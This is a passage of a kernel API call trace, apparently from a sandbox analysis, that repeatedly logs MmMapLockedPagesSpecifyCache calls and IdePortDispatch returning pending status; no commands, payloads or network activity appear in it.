0x103 [0083.163] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ca0000 [0083.164] IdePortDispatch () returned 0x103 [0083.164] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cc8000 [0083.164] IdePortDispatch () returned 0x103 [0083.165] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cd0000 [0083.165] IdePortDispatch () returned 0x103 [0083.166] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cf8000 [0083.166] IdePortDispatch () returned 0x103 [0083.168] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d1b000 [0083.168] IdePortDispatch () returned 0x103 [0083.169] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d1e000 [0083.169] IdePortDispatch () returned 0x103 [0083.170] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d31000 [0083.170] IdePortDispatch () returned 0x103 [0083.171] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d35000 [0083.171] IdePortDispatch () returned 0x103 [0083.181] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cd0000 [0083.181] IdePortDispatch () returned 0x103 [0083.182] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cd2000 [0083.182] IdePortDispatch () returned 0x103 [0083.184] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d26000 [0083.184] IdePortDispatch () returned 0x103 [0083.191] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034d1000 [0083.191] IdePortDispatch () returned 0x103 [0083.201] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bda000 [0083.201] IdePortDispatch () returned 0x103 [0083.202] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bc9000 [0083.202] IdePortDispatch () returned 0x103 [0083.203] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bcf000 [0083.203] IdePortDispatch () returned 0x103 [0083.207] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cb0000 [0083.207] IdePortDispatch () returned 0x103 [0083.208] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cd6000 [0083.209] IdePortDispatch () returned 0x103 [0083.209] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cee000 [0083.209] IdePortDispatch () returned 0x103 [0083.211] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cf3000 [0083.211] IdePortDispatch () returned 0x103 [0083.212] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d0b000 [0083.212] IdePortDispatch () returned 0x103 [0083.212] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d23000 [0083.212] IdePortDispatch () returned 0x103 [0083.213] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d2b000 [0083.213] IdePortDispatch () returned 0x103 [0083.214] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d43000 [0083.214] IdePortDispatch () returned 0x103 [0083.214] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d4b000 [0083.214] IdePortDispatch () returned 0x103 [0083.214] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d53000 [0083.215] IdePortDispatch () returned 0x103 [0083.215] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d5b000 [0083.215] IdePortDispatch () returned 0x103 [0083.215] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d63000 [0083.215] IdePortDispatch () returned 0x103 [0083.216] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d6b000 [0083.216] IdePortDispatch () returned 0x103 [0083.219] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d6f000 [0083.219] IdePortDispatch () returned 0x103 [0083.230] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b75000 [0083.230] IdePortDispatch () returned 0x103 [0083.234] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c10000 [0083.234] IdePortDispatch () returned 0x103 [0083.235] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c28000 [0083.235] IdePortDispatch () returned 0x103 [0083.235] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c40000 [0083.236] IdePortDispatch () returned 0x103 [0083.236] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c48000 [0083.236] IdePortDispatch () returned 0x103 [0083.236] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c50000 [0083.236] IdePortDispatch () returned 0x103 [0083.237] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c58000 [0083.237] IdePortDispatch () returned 0x103 [0083.237] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c60000 [0083.237] IdePortDispatch () returned 0x103 [0083.238] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c68000 [0083.238] IdePortDispatch () returned 0x103 [0083.238] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c80000 [0083.238] IdePortDispatch () returned 0x103 [0083.239] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c88000 [0083.239] IdePortDispatch () returned 0x103 [0083.239] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c90000 [0083.239] IdePortDispatch () returned 0x103 [0083.239] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c98000 [0083.240] IdePortDispatch () returned 0x103 [0083.240] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ca0000 [0083.240] IdePortDispatch () returned 0x103 [0083.240] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ca8000 [0083.240] IdePortDispatch () returned 0x103 [0083.241] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cb0000 [0083.241] IdePortDispatch () returned 0x103 [0083.241] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cb8000 [0083.241] IdePortDispatch () returned 0x103 [0083.246] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cdc000 [0083.246] IdePortDispatch () returned 0x103 [0083.249] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d3f000 [0083.249] IdePortDispatch () returned 0x103 [0083.250] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d52000 [0083.250] IdePortDispatch () returned 0x103 [0083.251] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d64000 [0083.251] IdePortDispatch () returned 0x103 [0083.254] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003410000 [0083.254] IdePortDispatch () returned 0x103 [0083.255] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003422000 [0083.255] IdePortDispatch () returned 0x103 [0083.257] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003461000 [0083.257] IdePortDispatch () returned 0x103 [0083.259] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034b4000 [0083.259] IdePortDispatch () returned 0x103 [0083.260] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034b7000 [0083.260] IdePortDispatch () returned 0x103 [0083.262] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034ec000 [0083.262] IdePortDispatch () returned 0x103 [0083.263] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034ef000 [0083.263] IdePortDispatch () returned 0x103 [0083.264] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034f2000 [0083.264] IdePortDispatch () returned 0x103 [0083.265] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800350a000 [0083.265] IdePortDispatch () returned 0x103 [0083.267] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003533000 [0083.267] IdePortDispatch () returned 0x103 [0083.268] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800355b000 [0083.268] IdePortDispatch () returned 0x103 [0083.268] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003573000 [0083.269] IdePortDispatch () returned 0x103 [0083.269] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800357b000 [0083.269] IdePortDispatch () returned 0x103 [0083.270] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003593000 [0083.270] IdePortDispatch () returned 0x103 [0083.270] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800359b000 [0083.270] IdePortDispatch () returned 0x103 [0083.271] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035a3000 [0083.271] IdePortDispatch () returned 0x103 [0083.271] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035ab000 [0083.271] IdePortDispatch () returned 0x103 [0083.272] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035b3000 [0083.272] IdePortDispatch () returned 0x103 [0083.272] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035bb000 [0083.272] IdePortDispatch () returned 0x103 [0083.273] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035c3000 [0083.273] IdePortDispatch () returned 0x103 [0083.273] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035cb000 [0083.273] IdePortDispatch () returned 0x103 [0083.277] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035ce000 [0083.277] IdePortDispatch () returned 0x103 [0083.286] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035d5000 [0083.286] IdePortDispatch () returned 0x103 [0083.293] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c61000 [0083.294] IdePortDispatch () returned 0x103 [0083.294] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c69000 [0083.294] IdePortDispatch () returned 0x103 [0083.295] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c81000 [0083.295] IdePortDispatch () returned 0x103 [0083.296] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cb9000 [0083.296] IdePortDispatch () returned 0x103 [0083.297] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cd1000 [0083.297] IdePortDispatch () returned 0x103 [0083.298] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cd2000 [0083.299] IdePortDispatch () returned 0x103 [0083.299] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cda000 [0083.299] IdePortDispatch () returned 0x103 [0083.300] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cf2000 [0083.300] IdePortDispatch () returned 0x103 [0083.300] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cfa000 [0083.300] IdePortDispatch () returned 0x103 [0083.301] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d12000 [0083.301] IdePortDispatch () returned 0x103 [0083.301] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d1a000 [0083.302] IdePortDispatch () returned 0x103 [0083.303] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d1d000 [0083.303] IdePortDispatch () returned 0x103 [0083.317] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b35000 [0083.317] IdePortDispatch () returned 0x103 [0083.322] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bd9000 [0083.322] IdePortDispatch () returned 0x103 [0083.326] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c50000 [0083.326] IdePortDispatch () returned 0x103 [0083.327] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c62000 [0083.327] IdePortDispatch () returned 0x103 [0083.335] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003450000 [0083.335] IdePortDispatch () returned 0x103 [0083.337] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003474000 [0083.337] IdePortDispatch () returned 0x103 [0083.339] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800349a000 [0083.339] IdePortDispatch () returned 0x103 [0083.340] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034a0000 [0083.340] IdePortDispatch () returned 0x103 [0083.341] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034b8000 [0083.341] IdePortDispatch () returned 0x103 [0083.342] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034bf000 [0083.342] IdePortDispatch () returned 0x103 [0083.350] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b67000 [0083.350] IdePortDispatch () returned 0x103 [0083.351] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b7f000 [0083.351] IdePortDispatch () returned 0x103 [0083.353] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b95000 [0083.353] IdePortDispatch () returned 0x103 [0083.355] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bda000 [0083.355] IdePortDispatch () returned 0x103 [0083.357] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bed000 [0083.357] IdePortDispatch () returned 0x103 [0083.370] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003471000 [0083.370] IdePortDispatch () returned 0x103 [0083.373] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034a5000 [0083.373] IdePortDispatch () returned 0x103 [0083.374] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034a8000 [0083.375] IdePortDispatch () returned 0x103 [0083.375] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034ab000 [0083.375] IdePortDispatch () returned 0x103 [0083.376] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, 